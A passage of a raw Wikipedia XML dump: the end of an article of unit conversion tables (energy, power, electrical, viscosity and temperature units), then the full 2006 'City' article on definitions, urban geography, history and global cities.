| [[calorie]] (3.98 °C) || cal&lt;sub&gt;3.98 °C&lt;/sub&gt;
|
| ≈ 4.2045 J
|-----
| [[litre]]-[[Atmosphere (unit)|atmosphere]] || l atm; sl
| ≡ 1 atm × 1 L
| = 101.325 J
|-----
| [[gallon]]-atmosphere (U.S.) || US gal atm
| ≡ 1 atm × 1 gal (US)
| = 383.556 849 013 8 J
|-----
| [[gallon]]-atmosphere (Imperial) || US gal atm
| ≡ 1 atm × 1 gal (Imp)
| = 460.632 569 25 J
|-----
| [[BTU|British thermal unit]] (thermochemical) || BTU&lt;sub&gt;th&lt;/sub&gt;
| ≡ 1 lb/g × 1 cal&lt;sub&gt;th&lt;/sub&gt; × 1 °F/°C = 9.489&amp;nbsp;152&amp;nbsp;380&amp;nbsp;4 ÷ 9 kJ
| ≈ 1.054 350 kJ
|-----
| [[BTU|British thermal unit]] (ISO) || BTU&lt;sub&gt;ISO&lt;/sub&gt;
|
| ≡ 1.0545 kJ
|-----
| [[BTU|British thermal unit]] (63 °F) || BTU&lt;sub&gt;63 °F&lt;/sub&gt;
|
| ≈ 1.0546 kJ
|-----
| [[BTU|British thermal unit]] (60 °F) || BTU&lt;sub&gt;60 °F&lt;/sub&gt;
|
| ≈ 1.054 68 kJ
|-----
| [[BTU|British thermal unit]] (59 °F) || BTU&lt;sub&gt;59 °F&lt;/sub&gt;
|
| ≡ 1.054 804 kJ
|-----
| [[BTU|British thermal unit]] (International Table) || BTU&lt;sub&gt;IT&lt;/sub&gt;
| ≡ 1 lb/g × 1 cal&lt;sub&gt;IT&lt;/sub&gt; × 1 °F/°C
| = 1.055 055 852 62 kJ
|-----
| [[BTU|British thermal unit]] (mean) || BTU&lt;sub&gt;mean&lt;/sub&gt;
|
| ≈ 1.055 87 kJ
|-----
| [[BTU|British thermal unit]] (39 °F) || BTU&lt;sub&gt;39 °F&lt;/sub&gt;
|
| ≈ 1.059 67 kJ
|-----
| [[Celsius]] heat unit (International Table) || CHU&lt;sub&gt;IT&lt;/sub&gt;
| ≡ 1 BTU&lt;sub&gt;IT&lt;/sub&gt; × 1 °C/°F
| = 1.899 100 534 716 kJ
|-----
| cubic [[foot (unit of length)|foot]] of atmosphere; standard cubic [[foot (unit of length)|foot]] || cu ft atm; scf
| ≡ 1 atm × 1 ft³
| = 2.869 204 480 934 4 kJ
|-----
| kilocalorie; large [[calorie]] || kcal; Cal
| ≡ 1000 cal&lt;sub&gt;IT&lt;/sub&gt;
| = 4.1868 kJ
|-----
| cubic [[yard]] of atmosphere; standard cubic [[yard]] || cu yd atm; scy
| ≡ 1 atm × 1 yd³
| = 77.468 520 985 228 8 kJ
|-----
| cubic [[foot (unit of length)|foot]] of natural gas || &amp;nbsp;
| ≡ 1000 BTU&lt;sub&gt;IT&lt;/sub&gt;
| = 1.055 055 852 62 MJ
|-----
| [[horsepower]]-[[hour]] || hp·h
| ≡ 1 hp × 1 h
| = 2.6845 MJ
|-----
| [[Board of Trade Unit]]; kilowatt-hour || B.O.T.U.; kW·h
| ≡ 1 kW × 1 h
| = 3.6 MJ
|-----
| thermie || th
| ≡ 1 Mcal&lt;sub&gt;IT&lt;/sub&gt;
| = 4.1868 MJ
|-----
| therm (U.S.) || &amp;nbsp;
| ≡ 100 000 BTU&lt;sub&gt;59 °F&lt;/sub&gt;
| = 105.4804 MJ
|-----
| therm (E.C.) || &amp;nbsp;
| ≡ 100 000 BTU&lt;sub&gt;IT&lt;/sub&gt;
| = 105.505 585 262 MJ
|-----
| [[ton]] of [[trinitrotoluene|TNT]] || tTNT
| ≡ 1 Gcal&lt;sub&gt;th&lt;/sub&gt;
| = 4.184 GJ
|-----
| [[barrel of oil equivalent]] || bboe
| ≈ 5.8 MBTU&lt;sub&gt;59 °F&lt;/sub&gt;
| ≈ 6.12 GJ
|-----
| [[ton of coal equivalent]] || TCE
| ≡ 7 Gcal&lt;sub&gt;th&lt;/sub&gt;
| = 29.3076 GJ
|-----
| [[ton of oil equivalent]] || TOE
| ≡ 10 Gcal&lt;sub&gt;th&lt;/sub&gt;
| = 41.868 GJ
|-----
| quad || &amp;nbsp;
| ≡ 10&lt;sup&gt;15&lt;/sup&gt; BTU&lt;sub&gt;IT&lt;/sub&gt;
| = 1.055 055 852 62 EJ
|}

===Power===
{| class=&quot;wikitable&quot;
|+ [[Power (physics)|Power]], P
!Name of unit
!Symbol
!Definition
!Relation to [[SI]] units
|-----
| [[watt]] (SI unit) || W
| ≡ J/s = N·m/s
| = kg·m²/s³
|-----
| lusec || lusec
| ≡ 1 L·µmHg/s
| ≈ 1.333 224×10&lt;sup&gt;-4&lt;/sup&gt; W
|-----
| [[foot (unit of length)|foot]]-[[pound (weight)|pound]]-force per [[hour]] || ft lbf/h
| ≡ 1 ft lbf/h
| ≈ 3.766 161×10&lt;sup&gt;-4&lt;/sup&gt; W
|-----
| atmosphere cubic centimetre per [[minute]] || atm ccm 
| ≡ 1 atm × 1 cm³/min
| = 1.688 75×10&lt;sup&gt;-3&lt;/sup&gt; W
|-----
| [[foot (unit of length)|foot]]-[[pound (weight)|pound]]-force per [[minute]] || ft lbf/min
| ≡ 1 ft lbf/min
| = 2.259 696 580 552 334×10&lt;sup&gt;-2&lt;/sup&gt; W
|-----
| atmosphere&amp;ndash;cubic centimetre per [[second]] || atm ccs
| ≡ 1 atm × 1 cm³/s
| = 0.101 325 W
|-----
| [[BTU]] (International Table) per [[hour]] || BTU&lt;sub&gt;IT&lt;/sub&gt;/h
| ≡ 1 BTU&lt;sub&gt;IT&lt;/sub&gt;/h
| ≈ 0.293 071 W
|-----
| atmosphere&amp;ndash;cubic [[foot (unit of length)|foot]] per [[hour]] || atm cfh
| ≡ 1 atm × 1 cu ft/h
| = 0.797 001 244 704 W
|-----
| [[foot (unit of length)|foot]]-[[pound-force]] per [[second]] || ft lbf/s
| ≡ 1 ft lbf/s
| = 1.355 817 948 331 400 4 W
|-----
| [[litre]]-atmosphere per [[minute]] || L·atm/min
| ≡ 1 atm × 1 L/min
| = 1.688 75 W
|-----
| [[calorie]] (International Table) per [[second]] || cal&lt;sub&gt;IT&lt;/sub&gt;/s
| ≡ 1 cal&lt;sub&gt;IT&lt;/sub&gt;/s
| = 4.1868 W
|-----
| [[BTU]] (International Table) per [[minute]] || BTU&lt;sub&gt;IT&lt;/sub&gt;/min
| ≡ 1 BTU&lt;sub&gt;IT&lt;/sub&gt;/min
| ≈ 17.584 264 W
|-----
| atmosphere-cubic [[foot (unit of length)|foot]] per [[minute]] || atm·cfm
| ≡ 1 atm × 1 cu ft/min
| = 47.820 074 682 24 W
|-----
| square [[foot (unit of length)|foot]] equivalent direct radiation || sq ft EDR
| ≡ 240 BTU&lt;sub&gt;IT&lt;/sub&gt;/h
| ≈ 70.337 057 W
|-----
| litre-atmosphere per second || L·atm/s
| ≡ 1 atm × 1 L/s
| = 101.325 W
|-----
| [[horsepower]] (metric) || hp
| ≡ 75 m kgf/s
| = 735.498 75 W
|-----
| [[horsepower]] (European electrical) || hp
| ≡ 75 kp·m/s
| = 736 W
|-----
| [[horsepower]] (Imperial mechanical) || hp
| ≡ 550 ft lbf/s
| = 745.699 871 582 270 22 W
|-----
| [[horsepower]] (Imperial electrical) || hp
|
| ≡ 746 W
|-----
| [[ton]] of air conditioning || &amp;nbsp;
| ≡ 1 t × 1005 J/kg × 1 °F/K ÷ 10 min
| = 844.2 W
|-----
| poncelet || p
| ≡ 100 m kgf/s
| = 980.665 W
|-----
| [[BTU]] (International Table) per [[second]] || BTU&lt;sub&gt;IT&lt;/sub&gt;/s
| ≡ 1 BTU&lt;sub&gt;IT&lt;/sub&gt;/s
| = 1.055 055 852 62×10&lt;sup&gt;+3&lt;/sup&gt; W
|-----
| atmosphere-cubic [[foot (unit of length)|foot]] per [[second]] || atm cfs
| ≡ 1 atm × 1 cu ft/s
| = 2.869 204 480 934 4×10&lt;sup&gt;+3&lt;/sup&gt; W
|-----
| [[ton]] of refrigeration (IT) || &amp;nbsp;
| ≡ 1 BTU&lt;sub&gt;IT&lt;/sub&gt; × 1 sh tn/lb ÷ 10 min/s
| ≈ 3.516 853×10&lt;sup&gt;+3&lt;/sup&gt; W
|-----
| [[ton]] of refrigeration (Imperial) || &amp;nbsp;
| ≡ 1 BTU&lt;sub&gt;IT&lt;/sub&gt; × 1 lng tn/lb ÷ 10 min/s
| ≈ 3.938 875×10&lt;sup&gt;+3&lt;/sup&gt; W
|-----
| boiler [[horsepower]] || bhp
| ≈ 34.5 lb/h × 970.3 BTU&lt;sub&gt;IT&lt;/sub&gt;/lb
| ≈ 9.810 657×10&lt;sup&gt;+3&lt;/sup&gt; W
|}

===Angular momentum===
{| class=&quot;wikitable&quot;
|+ Action, Angular momentum, L, J
!Name of unit
!Symbol
!Definition
!Relation to [[SI]] units
|-----
| SI unit || J·s
|
| ≡ kg·m²/s
&lt;!--- previous entry was:
|-----
| [[atomic unit of action]] || au
| [[Dirac constant|&lt;math&gt;\hbar&lt;/math&gt;]] = [[Planck constant|&lt;math&gt;h&lt;/math&gt;]]/2[[Pi|&lt;math&gt;\pi&lt;/math&gt;]] 1.054 571 596×10&lt;sup&gt;-34&lt;/sup&gt; J·s
---&gt;
|-----
| [[atomic units|atomic unit of action]] || au
| ≡ [[Dirac constant|ℏ]] = [[Planck constant|ℎ]]/2[[Pi|π]]
| ≈ 1.054 571 596×10&lt;sup&gt;-34&lt;/sup&gt; J·s
|-----
| [[cgs unit]] || erg·s
|
| = 10&lt;sup&gt;-7&lt;/sup&gt; J·s
|}

===Electric current===
{| class=&quot;wikitable&quot;
|+ [[Electric current]], I
!Name of unit
!Symbol
!Definition
!Relation to [[SI]] units
|-----
| [[ampere]] || A
|
| ([[SI base unit]])
|-----
| [[esu per second]]; statampere ([[cgs unit]]) || esu/s
| ≡ (0.1 A·m/s) /''[[speed of light|c]]''
| ≈ 3.335 641×10&lt;sup&gt;-10&lt;/sup&gt; A
|-----
| [[electromagnetic unit]]; abampere ([[cgs unit]]) || abamp
|
| ≡ 10 A
|}

===Electric charge===
{| class=&quot;wikitable&quot;
|+ [[Electric charge]], Q
!Name of unit
!Symbol
!Definition
!Relation to [[SI]] units
|-----
| [[coulomb]] (SI unit) || C
|
| ≡ A·s
|-----
| [[atomic units|atomic unit of charge]] || au
| ≡ ''[[elementary charge|e]]''
| ≈ 1.602 176 462×10&lt;sup&gt;-19&lt;/sup&gt; C
|-----
| [[statcoulomb]]; [[franklin (unit)|franklin]]; electrostatic unit ([[cgs unit]]) || statC; Fr; esu
| ≡ (0.1 A·m) /''[[speed of light|c]]''
| ≈ 3.335 641×10&lt;sup&gt;-10&lt;/sup&gt; C
|-----
| [[abcoulomb]]; electromagnetic unit ([[cgs unit]]) || abC; emu
|
| ≡ 10 C
|-----
| [[faraday]] || F
| ≡ 1 mol × ''[[Avogadro's number|N&lt;sub&gt;A&lt;/sub&gt;]]''·''[[elementary charge|e]]''
| ≈ 96,485.3383 C
|}

===Electromotive force===
{| class=&quot;wikitable&quot;
|+ [[Voltage]], Electromotive force, U
!Name of unit
!Symbol
!Definition
!Relation to [[SI]] units
|-----
| [[volt]] (SI unit) || V
|
| ≡ kg·m²/A·s³
|-----
| [[abvolt]] ([[cgs unit]]) || abV
|
| ≡ 1×10&lt;sup&gt;-8&lt;/sup&gt; V
|-----
| [[statvolt]] ([[cgs unit]]) || statV
| ≡ ''[[speed of light|c]]''· (1 μJ/A·m)
| = 299.792 458 V
|}

===Electrical resistance===
{| class=&quot;wikitable&quot;
|+ [[Electrical resistance]], R
!Name of unit
!Symbol
!Definition
!Relation to [[SI]] units
|-----
| [[ohm]] (SI unit) || Ω
| ≡ V/A
| = kg·m²/A²s³
|}

===Dynamic viscosity===
{| class=&quot;wikitable&quot;
|+ Dynamic [[viscosity]], η
!Name of unit
!Symbol
!Definition
!Relation to [[SI]] units
|-----
| [[pascal second]] (SI unit) || Pa·s
| ≡ N·s/m²
| = kg/m·s
|-----
| [[poise]] ([[cgs unit]]) || P
|
| ≡ 10&lt;sup&gt;-1&lt;/sup&gt; Pa·s
|}

===Kinematic viscosity===
{| class=&quot;wikitable&quot;
|+ Kinematic [[viscosity]], ν
!Name of unit
!Symbol
!Definition
!Relation to [[SI|SI units]]
|-----
| SI unit || m²/s
|
| ≡ m²/s
|-----
| [[stokes]] ([[cgs unit]]) || St
|
| ≡ 10&lt;sup&gt;-4&lt;/sup&gt; m²/s
|}

===Temperature===
{| class=&quot;wikitable&quot;
|+ [[Temperature]], T
!Name of unit
!Symbol
!Relation to [[SI]] units
!Relation to °C
|-----
| [[kelvin]] || K
| [[SI base unit]]
| ''T''[K] = ''T''[°C] + 273.15
|-----
| degree [[Celsius]] || °C
| ''T''[°C] = ''T''[K] − 273.15
|
|-----
| degree [[Rankine]] || °R; °Ra
| ''T''[°Ra] = 1.8 × ''T''[K]
|
|-----
| degree [[Fahrenheit]] || °F
| ''T''[°F] = ''T''[K] × 1.8 − 459.67
| ''T''[°F] = 1.8 × ''T''[°C] + 32
|}

== See also ==
{{Wikibookspar||FHSST_Physics_Units:How_to_Change_Units}}
* The [[Unix]] program [[Units (computer program)|units]], a useful tool for unit conversion.
* [[Approximate conversion between English and SI units]].
* [[Temperature conversion formulas]] for conversions involving additional temperature scales.
* [[SI]]
* [[English unit]]
* [[Imperial unit]]
* [[U.S. customary unit]]

== External links ==
*[http://www.unitconversion.org/ Online unit conversion of 99.9% known units]
*[http://www.unc.edu/~rowlett/units/index.html ''A dictionary of units of measurement'']
*[http://www.onlineconversion.com/ Online conversion of over 5000 units.] 
*[http://convertplus.com/en/ Online weights and measurements conversion, metric conversion] 
*[http://www.google.com/help/features.html#calculator Google calculator with unit converter, type in the box e.g. 3 mile to km]
*[http://www.technotip.com/index.php?id=108 Measurement Units and Conversion Factors]
*[http://physics.nist.gov/cuu/Document/nonsi_in_1998.pdf Fundamental physical constants - Non-SI units]
*[http://www.hmso.gov.uk/si/si1995/Uksi_19951804_en_2.htm British law: Units of measurement regulations 1995]
*[http://convertplus.com/en/conversion-speed Online Speed Conversion]
*[http://convertplus.com/en/conversion-temperature Online Temperature Conversion]
*[http://convertplus.com/en/conversion-length Online Distance and Length Conversion]
*[http://convertplus.com/en/conversion-area Online Area Conversion]
*[http://convertplus.com/en/conversion-volume Online Capacity and Volume Conversion]
*[http://easycalculation.com/unit-conversion/area-tables.php Area Conversion Factors]
*[http://www.techzoom.net/convert/speed.asp Online Velocity Conversion]
*[http://convertplus.com/en/conversion-pressure Online Pressure Conversion]
*[http://aurora.rg.iupui.edu/~schadow/units/UCUM/ucum.html The Unified Code for Units of Measure]
*[http://www.metricconversions.net Unit / Metric Conversion Tools]
*[http://www.posc.org/refs/poscUnits20.xml Units, Symbols, and Conversions XML Dictionary]

[[Category:Units of measure]]
[[Category:Metrication]]

[[de:Physikalische Größen und ihre Einheiten]]
[[es:Conversión de unidades]]
[[fr:Conversion des unités]]
[[ja:単位の換算一覧]] &lt;!-- 単位の換算一覧 --&gt;
[[pl:Pozaukładowe jednostki miary]]
[[pt:Tabela de conversão de unidades]]
[[simple:Conversion of units]]</text>
    </revision>
  </page>
  <page>
    <title>City</title>
    <id>5391</id>
    <revision>
      <id>42121395</id>
      <timestamp>2006-03-03T23:33:26Z</timestamp>
      <contributor>
        <ip>81.158.240.249</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">:''For alternate meanings see [[city (disambiguation)]]''
[[Image:Sydney_Harbour_Bridge_night.jpg|right|thumb|400px|Sydney, Australia at Night. Note the broad and illuminated CBD to the left and the mass transit Harbour Bridge to the right.]]
[[Image:Chicago Night.JPG|right|thumb|400px|Chicago Nighttime Skyline.]]
[[Image:Montreal Twilight Panorama 2006.jpg|thumb|right|400px|Twilight panorama of Montreal]]

A '''city''' is an [[urban area]] that is  differentiated from a [[town]], [[village]], or [[hamlet (place)|hamlet]] by [[size]], [[population density]], importance, or [[de jure|legal status]].

==Introduction==
In most parts of the world, cities are generally substantial and nearly always have an urban [[core]], but in the [[United States]] many incorporated areas which have a very modest population, or a [[suburb]]an or even mostly [[rural]] character, are designated as cities. ''City'' can also be a synonym for &quot;[[Central business district|downtown]]&quot; or a &quot;[[city centre]]&quot;.

A city usually consists of [[residential]], [[industry|industrial]] and [[business]] [[area]]s together with [[administration#Administrative functions|administrative functions]] which may relate to a wider [[geography|geographical]] area. A large share of a city's area is primarily taken up by [[housing]], which is then supported by [[infrastructure]] such as [[road]]s, [[street]]s and often [[public transport]] routes such as a [[subway]] or a [[metro rail system]]. [[Lake]]s and [[river]]s may be the only undeveloped areas within the city. The study of cities is covered extensively in [[human geography]]. 

&quot;The city is a human habitat that allows people to form relations with others at various levels of intimacy while remaining entirely anonymous.&quot; (This definition was the subject of an exhibition at the Israeli pavilion at the 2000 [[Venice Biennale of architecture]])

== The difference between ''towns'' and ''cities'' ==
The difference between ''towns'' and ''cities'' is differently understood in different parts of the [[English language|English speaking world]]. There is no one standard international definition of a city: the term may be used either for a town possessing city status; for an urban locality exceeding an arbitrary population size; for a town dominating other towns with particular regional economic or administrative significance. Although ''city'' can refer to an [[agglomeration]] including [[suburb]]an and satellite areas, the term is not appropriate for a [[conurbation]] (cluster) of ''distinct'' urban places, nor for a wider [[metropolitan area]] including more than one city, each acting as a focus for parts of the area.

In the [[United Kingdom]], a ''city'' is a town which has been known as a city since [[time immemorial]], or which has received city status by [[letters patent]] &amp;mdash; which is normally granted on the basis of size, importance or royal connection (traditional pointers have been whether the town has a [[cathedral]] or a [[university]]). Some cathedral cities, for example [[St. David's]] in [[Wales]], are quite small, and may not be known as cities in common parlance. (See the [[City status in the United Kingdom]].) [[Preston]] became England's newest city in the year 2002 to mark the Queen's jubilee.

A similar system existed in the medieval [[Low Countries]] where a landlord would grant settlements [[City rights in the Netherlands | certain privileges]] ([[city rights]]) that settlements without city rights didn't have. This include the privilege to put up city walls, hold markets or set up a judicial [[court]].

In [[Australia]] and [[New Zealand]], ''city'' is used to refer both to units of local government, and as a synonym for urban area. For instance the [http://www.southperth.wa.gov.au City of South Perth] is part of the urban area known as [[Perth, Western Australia|Perth]], commonly described as a city. On the other hand, [[Gisborne]] in New Zealand is known as the first city to see the sun, despite being administered by a district council, not a city council.

An interesting phenomenon in [[American English]] is the generalisation of the term ''city'' to all [[settlement]]s. Britons may be bemused by forms with fields headed, not ''Town'' and ''[[Postal code]]'', but ''City'' and ''[[zip code|ZIP]]'', even though the person needing to fill it in could be living in a city, a town without city status, or even a village or hamlet.

In turn, many Americans often talk of &quot;City Halls&quot; when referring to [[town hall]]s in quite small [[Europe]]an towns and villages.

Strangely, even though Americans are well aware that &quot;village&quot; means something smaller than a town, the word has often been co-opted by enterprising developers to make their projects sound welcoming and friendly. The result are so-called villages with 20 and 30-story high-rises, like [[Westwood, Los Angeles, California|Westwood Village]] in Los Angeles.

==Geography==
[[Image:Haarlem-City-Map-1550.jpg||thumb|225px|Map of [[Haarlem]], the [[Netherlands]], of around 1550. The city is completely surrounded by a city wall and defensive canal. The square shape is inspired by Jerusalem.]]

The geographies of cities, both [[physical geography|physical]] and human, are diverse. Often cities will either be [[coast|coastal]] and have a [[harbour]] or be situated near a [[river]] giving [[economics|economic]] advantage. [[Ship transport|Water transports]] on [[river]]s and [[oceans]] were (and in most cases still are) cheaper and more efficient than [[road transport]] over long distances.

Older [[Europe]]an cities often have historically intact central areas where the streets are jumbled together, seemingly without a structural plan. This quality is a legacy of earlier unplanned or organic development, and is often perceived by today's [[tourist]]s to be picturesque.  In contrast, [[planned city|planned cities]] founded after the advent of the [[automobile]] tend to have expansive [[boulevards]] impractical to navigate on foot.

Modern city planning has seen many different schemes for how a city should look. The most commonly seen pattern is the [[grid plan|grid]], almost a rule in parts of the [[United States]], and used for thousands of years in [[China]]. [[Derry]] was the first ever [[planned city]] in Ireland, begun in [[1613]], with the walls being completed 5 years later in [[1618]]. The central diamond within a walled city with four gates was thought to be a good design for defence. The grid pattern chosen was widely copied in the colonies of British North America [http://worldfacts.us/UK-Londonderry.htm]. However, the grid has been used for a long time in history. The Greeks often gave their colonies around the Mediterranean a grid. One of the best examples around is the city of [[Priene]]. This city even had its different districts, much like modern city planning today. Also in Medieval times we see a preference for linear planning. Good examples are the cities established in the south of France by various rulers and city expansions in old Dutch and Flemish cities.

Other forms may include a radial structure in which main roads converge on a central point, often the effect of successive growth over long time with concentric traces of [[town wall]]s and [[citadel]]s - recently supplemented by ring-roads that take traffic around the edge of a town. Many [[Netherlands|Dutch]] cities are structured that way: a central square surrounded by a concentric canals. Every city expansion would imply a new circle (canals + town walls). In cities like [[Amsterdam]] and [[Haarlem]] this pattern is still clearly visible.

==History of cities==
Towns and cities have a long history, although opinions vary on whether any particular [[Ancient history|ancient]] settlement can be considered to be a city. The first true towns are sometimes considered to be large settlements where the inhabitants were no longer simply farmers of the surrounding area, but began to take on specialized occupations, and where trade, food storage and power was centralized. Societies that live in cities are often called [[civilization]]s.

By this definition, the first towns we know of were located in [[Mesopotamia]], such as [[Ur]], and along the [[Nile]], the [[Indus Valley Civilization]] and [[China]]. Before this time it was rare for settlements to reach significant size, although there were exceptions such as [[Jericho]], [[Çatalhöyük]] and [[Mehrgarh]]. [[Harappa]] and [[Mohenjo-daro]] (in the [[Indus Valley Civilization]]) were the largest of these early cities, with a combined population of up to 150,000.

The growth of ancient and [[Middle Ages|medieval]] [[empire]]s led to ever greater [[capital]] cities and seats of provincial administration, with [[Pataliputra]] (in [[India]]), [[Changan]] (in [[China]]), [[ancient Rome]], its eastern successor [[Constantinople]] (later [[Istanbul]]), and successive [[China|Chinese]], [[Islam]]ic, and [[India]]n capitals approaching or exceeding the half-million population level. It is estimated that ancient Rome had a population of around 1 million people by the end of the last century BCE, which is widely considered the only city to reach that number until the [[Industrial Revolution]]. [[Alexandria]]'s population was also close to Rome's population at around the same time (in a census dated from 32 CE, Alexandria had 180,000 adult male citizens). Similar large administrative, commercial, industrial and ceremonial centres emerged in other areas. Most notably [[Baghdad]], which second to some estimates became the first city to exceed a population of one million instead of Rome.

During the European [[Middle Ages]], a town was as much a political entity as a collection of houses. City residence brought freedom from customary rural obligations to lord and community: ''&quot;Stadtluft macht frei&quot;'' (&quot;City air makes you free&quot;) was a saying in Germany. In [[Continental Europe]] cities with a legislature of their own weren't unheard of, the laws for towns as a rule other than for the countryside, the lord of a town often being another than for surrounding land. In the [[Holy Roman Empire]] (i.e. medieval Germany and Italy) some cities had no other lord than the emperor.

In exceptional cases like [[Venice]], [[Genoa]] or [[Lübeck]], cities themselves became powerful states, sometimes taking surrounding areas under their control or establishing extensive maritime empires. Similar phenomena existed elsewhere, as in the case of [[Sakai, Osaka|Sakai]], which enjoyed a considerable autonomy in late medieval Japan.

Most towns remained far smaller places, so that in [[1500]] only some two dozen places in the world contained more than 100,000 inhabitants: as late as [[1700]] there were fewer than forty, a figure which would rise thereafter to 300 in [[1900]]. A small city of the early modern period might contain as few as 10,000 inhabitants, a town far fewer still.

While the [[city-state]]s, or [[polis|poleis]], of the [[Mediterranean]] and [[Baltic Sea]] languished from the [[16th century]], Europe's larger capitals benefited from the growth of commerce following the emergence of an [[Atlantic Ocean|Atlantic]] economy fuelled by the silver of [[Peru]]. By the late [[18th century]], [[London]] had become the largest city in the world with a population of nearly 1 million, while [[Paris]] rivalled the well-developed regionally-traditional capital cities of [[Baghdad]], [[Beijing]], [[Istanbul]] and [[Kyoto]].

The growth of modern [[industry]] from the late [[18th century]] onward led to massive [[urbanization]] and the rise of new great cities, first in Europe and then in other regions, as new opportunities brought huge numbers of [[rural migration|migrants from rural communities]] into urban areas. In the [[Great Depression]] of the 1930s [[Cities in the great depression| cities were hard hit by unemployment]], especially those with a base in heavy industry.  Today the world's population is about half urban, with millions still streaming annually into the growing cities of [[Asia]], [[Africa]] and [[Latin America]].



==Global cities==
A [[global city]], also known as a ''world city'', is a prominent centre of [[trade]], [[bank]]ing, [[finance]], innovations, and [[market]]s. The term &quot;global city&quot;, as opposed to megacity, was coined by [[Saskia Sassen]] in a seminal 1991 work. Whereas &quot;megacity&quot; refers to any city of enormous size, a global city is one of enormous power or influence. Global cities, according to Sassen, have more in common with each other than with other cities in their host nations. The four traditional global or world cities are [[London]], [[New York]], [[Paris]] and [[Tokyo]], but other cities now have importances approaching these four and are also referred to as global cities.

The notion of global cities is rooted in the concentration of [[power]] and capabilities within all cities.  The city is seen as a container where skills and resources are concentrated: the better able a city is to concentrate its skills and resources, the more successful and powerful the city.  This makes the city itself more powerful in terms that it can influence what is happening around the world.  Following this view of cities, it is possible to [[Global city#GaWC Inventory of World Cities|rank the world's cities hierarchically]] (John Friedmann and Goetz Wolff, &quot;World City Formation: An Agenda for Research and Action,&quot; ''International Journal of Urban and Regional Research'', 6, no. 3 (1982): 319).

Critics of the notion point to the different realms of power.  The term ''global city'' is heavily influenced by economic factors and, thus, may not account for locales that are otherwise significant.  For example, cities like [[Rome]] and [[Mecca]] are powerful in [[religion|religious]] and [[history|historical]] terms.  Additionally, it has been questioned whether the city itself can be regarded as an actor.

In [[1995]], Kanter argued that successful cities can be identified by three elements.  To be successful, a city needs to have good thinkers (concepts), good makers (competence) or good traders ([[city network|connections]]).  The interplay of these three elements, Kanter argued, means that good cities are not planned but managed.

==Environmental effects==
Modern cities are known for creating their own [[microclimate]]s. This is due to the large clustering of hard surfaces that heat up in [[sunlight]] and that channel [[rainwater]] into underground ducts. As a result, city weather is often windier and cloudier than the weather in the surrounding countryside. Conversely, because these effects make cities warmer (''urban heat shield'' or ''urban heat islands'') than the surrounding area, [[tornado]]es tend to go around cities. Additionally towns can cause significant downstream weather effects.

[[Waste|Garbage]] and [[sewage]] are two major problems for cities, as is [[air pollution]] coming from [[internal combustion engine]]s (see [[public transport]]). The impact of cities on places elsewhere, be it hinterlands or places far away, is considered in the notion of [[Ecological Footprint|city footprinting]] (''ecological footprint'').

==Inner city==
''Main article: [[Inner city]]''

In the United States, United Kingdom and Republic of Ireland, the term &quot;inner city&quot; is sometimes used with the connotation of being an area, perhaps a [[ghetto]], where people are less wealthy and where there is more crime. These connotations are less common in other Western countries, as deprived areas are located in varying parts of other Western cities. In fact, with the [[gentrification]] of some formerly run-down central city areas the reverse connotation can apply - in Australia the term &quot;outer suburban&quot; applied to a person implies a lack of sophistication. For instance, in [[Paris]], the inner city is the richest part of the metropolitan area, where housing is the most expensive, and where elites and high-income individuals dwell. In the developing world this is also often true, as economic modernization brings poor newcomers from the countryside to build haphazardly at the edge of current settlement (see [[favelas]]).  

The United States, in particular, suffers from a culture of anti-urbanism that some say dates back as far as Thomas Jefferson who wrote that &quot;The mobs of great cities add just so much to the support of pure government as sores do to the strength of the human body.&quot; On the businessmen who brought manufacturing industry into cities and hence increased the population density necessary to supply the workforce, he wrote &quot;the manufactures of the great cities... have begotten a depravity of morals, a dependence and corruption, which renders them an undesirable accession to a country whose morals are sound.&quot; the American [[City Beautiful]] architecture movement of the late 1800s was a reaction to preceived urban decay and sought to provide stately civic buildings and boulevards to inspire civic pride in the motley residents of the urban core. Modern anti-urban attitudes are to be found in America in the form of a planning profession that continues to develop land on a low-density suburban basis, where access to amenities, work and shopping is provided almost exclusively by car rather than on foot.

However, there is a growing movement in North America called &quot;[[New Urbanism]]&quot; that calls for a return to traditional city planning methods where mixed-use zoning allows people to walk from one type of land-use to another. The idea is that housing, shopping, office space, and leisure facilities are all provided within walking distance of each other, thus reducing the demand for road-space and also improving the efficiency and effectiveness of [[mass transit]].

==See also==
===Lists===
* [[List of cities by country]]
* [[List of cities by latitude]]
* [[List of metropolitan areas by population]]
* [[Thirty most populous cities in the world]]
* [[List of city nicknames]]
* [[List of fictional cities]]

===Miscellaneous===
* [[City status in Sweden]]
* [[City status in the United Kingdom]]
* [[benign neglect]]
* [[The City]]
* [[County]]
* [[Independent city]]
* [[Megacity]]
* [[municipal government]]
* [[global city]]
* [[planned city]]
* [[urban geography]]
* [[urban planning]]
* [[Ville]]
* [[Burning Man]], a week-long [[festival]] as a temporary city (housing 35,000 residents in [[2004]])
* [[SimCity]], a popular series of city simulators, sometimes used in education.
* [[Freedom Ship]], concept for a floating city

==References==
* Toynbee, Arnold (ed), ''Cities of Destiny'', New York: McGraw-Hill, 1967. Pan historical/geographical essays, many images. Starts with &quot;Athens&quot;, ends with &quot;The Coming World City-Ecumenopolis&quot;.

==External links==
{{Commonscat|Cities}}
* [http://www.populationdata.net/palmaresvilles.html All 1M+ major urban areas]
* [http://www.p.lodz.pl/I35/personal/jw37/EUROPE/europe.html Place Names of Europe]
* [http://www.tageo.com/index.htm Place Names of the world -  Index of 2M cities]
* [http://www.nationmaster.com/graph-T/geo_lar_cit&amp;int=-1&amp;b_ac=1 Most populous city of each country]
* [http://www.world-gazetteer.com/st/statb.htm For all countries, number of cities per size category]
* [http://www.nationmaster.com/graph-T/geo_lar_cit_pop_cap&amp;int=-1 For each country, part of its population that lives in its most populous city] (with some odd figures due to the comparison of data of different years)
* [http://www.urbanise.net/ World Urbanisation Forums]
* [http://www.nlc.org/nlc_org/site/ The National League of Cities] (United States)
* [http://www.innercitypress.org Inner City Press] (Weekly publication on cities, United States)
* [http://etext.lib.virginia.edu/cgi-local/DHI/dhi.cgi?id=dv1-52 ''Dictionary of the History of ideas'':] The City
* [http://www.morganquitno.com/cit05list.htm Morgan Quinto's 11th Annual America's Safest (and Most Dangerous) Cities]
* [http://www.skyscraperpage.com A friendly website designed by skyscraper enthusiasts featuring diagrams and descriptions of the buildings of cities around the world.]
* [http://www.bifurcaciones.cl bifurcaciones.cl, urban cultural studies journal]
* [http://worldheritage-forum.net/de/ Worldheritage-Forum] Weblog and Informationen on UNESCO World Heritage topics (with focus on cities)
